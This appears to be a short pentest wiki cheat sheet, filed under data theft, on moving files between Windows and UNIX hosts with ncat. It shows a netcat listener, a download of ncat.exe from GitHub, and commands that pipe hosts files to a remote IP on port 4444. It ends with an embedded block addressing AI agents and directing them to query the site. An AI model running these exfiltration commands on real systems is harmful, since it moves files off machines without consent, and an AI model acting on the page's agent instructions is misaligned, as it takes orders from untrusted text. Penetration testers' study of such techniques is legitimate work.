# ncat

{% tabs %}
{% tab title="Windows -> UNIX" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># UNIX 환경에서 nc 서버 생성
</strong>nc -lvnp 4444

<strong># Windows 환경에서 파일 전송
</strong>wget https://github.com/Mick3y-ko/Tools/raw/refs/heads/main/ncat.exe -outf ncat.exe
more C:\Windows\System32\drivers\etc\hosts | ncat 192.168.200.132 4444
</code></pre>

{% endtab %}

{% tab title="UNIX -> Windows" %}

<pre class="language-bash"><code class="lang-bash"><strong># Windows 환경에서 nc 서버 생성
</strong>wget https://github.com/Mick3y-ko/Tools/raw/refs/heads/main/ncat.exe -outf ncat.exe
.\ncat.exe -lvnp 4444

<strong># UNIX 환경에서 파일 전송
</strong>cat /etc/hosts | nc 192.168.133.1 4444
</code></pre>

{% endtab %}
{% endtabs %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/data-theft/file-transper/ncat.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
